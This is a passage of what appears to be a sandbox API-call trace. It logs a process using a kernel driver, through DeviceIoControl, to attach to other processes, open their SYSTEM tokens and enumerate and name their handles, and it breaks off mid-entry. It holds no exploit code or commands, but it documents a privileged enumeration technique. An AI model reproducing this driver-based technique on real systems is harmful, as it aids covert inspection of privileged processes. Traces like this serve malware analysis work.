PsReleaseProcessExitSynchronization () returned 0x2 [0120.778] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.778] ObQueryNameString (in: Object=0xfffff8a002399cd0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.778] ObfDereferenceObject (Object=0xfffff8a002399cd0) returned 0x1 [0120.778] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.778] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.778] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x178) returned 0xc0 [0120.778] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0120.778] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80018b8060, HandleInformation=0x0) returned 0x0 [0120.778] ObOpenObjectByPointer (in: Object=0xfffffa80018b8060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000794) returned 0x0 [0120.778] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x71 [0120.778] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000794, DesiredAccess=0x8, TokenHandle=0xfffffa80038b6180 | out: TokenHandle=0xfffffa80038b6180*=0xc8) returned 0x0 [0120.778] ZwClose (Handle=0xffffffff80000794) returned 0x0 [0120.778] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.778] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0120.779] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0120.933] CloseHandle (hObject=0xc8) returned 1 [0120.933] CloseHandle (hObject=0xc0) returned 1 [0120.933] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.933] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0120.933] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.933] PsAcquireProcessExitSynchronization () returned 0x0 [0120.933] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0) [0120.933] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003006f20, HandleInformation=0x0) returned 0x0 [0120.933] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.933] PsReleaseProcessExitSynchronization () returned 0x2 [0120.933] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0120.933] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435508) returned 0x0 [0120.933] ObfDereferenceObject (Object=0xfffffa8003006f20) returned 0x1 [0120.933] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.933] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.933] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.933] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0120.933] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.933] PsAcquireProcessExitSynchronization () returned 0x0 [0120.933] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0) [0120.933] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003047790, HandleInformation=0x0) returned 0x0 [0120.933] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.934] PsReleaseProcessExitSynchronization () returned 0x2 [0120.934] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0120.934] ObQueryNameString (in: Object=0xfffffa8003047790, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0120.934] ObfDereferenceObject (Object=0xfffffa8003047790) returned 0x1 [0120.934] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.934] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.934] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.934] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0120.934] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.934] PsAcquireProcessExitSynchronization () returned 0x0 [0120.934] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0) [0120.934] ObReferenceObjectByHandle (in: Handle=0xcc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003049f20, HandleInformation=0x0) returned 0x0 [0120.934] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.934] PsReleaseProcessExitSynchronization () returned 0x2 [0120.934] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0120.934] ObQueryNameString (in: Object=0xfffffa8003049f20, ObjectNameInfo=0xfffffa800388e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800388e044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.934] ObfDereferenceObject (Object=0xfffffa8003049f20) returned 0x2 [0120.934] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.934] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.934] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.934] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0120.934] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.934] PsAcquireProcessExitSynchronization () returned 0x0 [0120.934] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0) [0120.934] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003049dd0, HandleInformation=0x0) returned 0x0 [0120.934] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.934] PsReleaseProcessExitSynchronization () returned 0x2 [0120.934] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0120.934] ObQueryNameString (in: Object=0xfffffa8003049dd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.934] ObfDereferenceObject (Object=0xfffffa8003049dd0) returned 0x1 [0120.934] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.934] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.934] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.935] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0120.935] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.935] PsAcquireProcessExitSynchronization () returned 0x0 [0120.935] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0) [0120.935] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030c2490, HandleInformation=0x0) returned 0x0 [0120.935] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.935] PsReleaseProcessExitSynchronization () returned 0x2 [0120.935] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0120.935] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435508) returned 0x0 [0120.935] ObfDereferenceObject (Object=0xfffffa80030c2490) returned 0x1 [0120.935] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.935] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.935] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.935] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0120.935] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.935] PsAcquireProcessExitSynchronization () returned 0x0 [0120.935] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0) [0120.935] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030f7dd0, HandleInformation=0x0) returned 0x0 [0120.935] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.935] PsReleaseProcessExitSynchronization () returned 0x2 [0120.935] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0120.935] ObQueryNameString (in: Object=0xfffffa80030f7dd0, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.935] ObfDereferenceObject (Object=0xfffffa80030f7dd0) returned 0x2 [0120.935] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.935] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.935] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.935] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0120.936] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.936] PsAcquireProcessExitSynchronization () returned 0x0 [0120.936] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0) [0120.936] ObReferenceObjectByHandle (in: Handle=0x130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030fb070, HandleInformation=0x0) returned 0x0 [0120.936] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.936] PsReleaseProcessExitSynchronization () returned 0x2 [0120.936] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0120.936] ObQueryNameString (in: Object=0xfffffa80030fb070, ObjectNameInfo=0xfffffa80019fa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fa044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.936] ObfDereferenceObject (Object=0xfffffa80030fb070) returned 0x2 [0120.936] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.936] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.936] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.936] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0120.936] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.936] PsAcquireProcessExitSynchronization () returned 0x0 [0120.936] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0) [0120.936] ObReferenceObjectByHandle (in: Handle=0x134, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030fc6b0, HandleInformation=0x0) returned 0x0 [0120.936] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.936] PsReleaseProcessExitSynchronization () returned 0x2 [0120.936] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0120.936] ObQueryNameString (in: Object=0xfffffa80030fc6b0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.936] ObfDereferenceObject (Object=0xfffffa80030fc6b0) returned 0x2 [0120.936] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.936] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.936] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.936] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0120.936] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.936] PsAcquireProcessExitSynchronization () returned 0x0 [0120.936] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0) [0120.936] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030ff790, HandleInformation=0x0) returned 0x0 [0120.936] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.937] PsReleaseProcessExitSynchronization () returned 0x2 [0120.937] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0120.937] ObQueryNameString (in: Object=0xfffffa80030ff790, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.937] ObfDereferenceObject (Object=0xfffffa80030ff790) returned 0x2 [0120.937] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.937] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.937] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.937] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0120.937] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.937] PsAcquireProcessExitSynchronization () returned 0x0 [0120.937] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880044355d0) [0120.937] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003100070, HandleInformation=0x0) returned 0x0 [0120.937] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.937] PsReleaseProcessExitSynchronization () returned 0x2 [0120.937] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0120.937] ObQueryNameString (in: Object=0xfffffa8003100070, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.937] ObfDereferenceObject (Object=0xfffffa8003100070) returned 0x2 [0120.937] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.937] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.937] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x184) returned 0xc0 [0120.937] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0120.937] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80018ba540, HandleInformation=0x0) returned 0x0 [0120.937] ObOpenObjectByPointer (in: Object=0xfffffa80018ba540, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800008f0) returned 0x0 [0120.937] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0120.937] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008f0, DesiredAccess=0x8, TokenHandle=0xfffffa800200ba00 | out: TokenHandle=0xfffffa800200ba00*=0xc8) returned 0x0 [0120.937] ZwClose (Handle=0xffffffff800008f0) returned 0x0 [0120.938] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.938] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0120.938] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0120.939] CloseHandle (hObject=0xc8) returned 1 [0120.939] CloseHandle (hObject=0xc0) returned 1 [0120.939] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.939] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0120.939] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.939] PsAcquireProcessExitSynchronization () returned 0x0 [0120.939] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.939] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003011f20, HandleInformation=0x0) returned 0x0 [0120.939] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.939] PsReleaseProcessExitSynchronization () returned 0x2 [0120.939] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.939] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435508) returned 0x0 [0120.940] ObfDereferenceObject (Object=0xfffffa8003011f20) returned 0x1 [0120.940] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.940] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.940] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.940] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0120.940] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.940] PsAcquireProcessExitSynchronization () returned 0x0 [0120.940] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.940] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a004ab7f60, HandleInformation=0x0) returned 0x0 [0120.940] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.940] PsReleaseProcessExitSynchronization () returned 0x2 [0120.940] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0120.940] ObQueryNameString (in: Object=0xfffff8a004ab7f60, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.940] ObfDereferenceObject (Object=0xfffff8a004ab7f60) returned 0x2 [0120.940] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.940] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0120.940] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0120.940] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0120.940] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.940] PsAcquireProcessExitSynchronization () returned 0x0 [0120.940] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0120.940] ObReferenceObjectByHandle (in: Handle=0xb4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030564e0, 